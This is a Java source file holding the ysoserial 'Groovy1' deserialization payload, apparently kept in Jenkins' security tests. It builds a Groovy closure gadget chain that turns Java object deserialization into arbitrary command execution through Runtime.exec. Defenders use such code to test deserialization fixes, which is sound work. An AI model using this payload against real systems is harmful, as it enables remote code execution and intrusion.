/*
* The MIT License
*
* Copyright (c) 2013 Chris Frohoff
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package jenkins.security.security218.ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import jenkins.security.security218.ysoserial.util.Gadgets;
import jenkins.security.security218.ysoserial.util.PayloadRunner;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
Comparator.compare() (Proxy)
ConvertedClosure.invoke()
MethodClosure.call()
...
Method.invoke()
Runtime.exec()
Requires:
groovy
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args);
}
}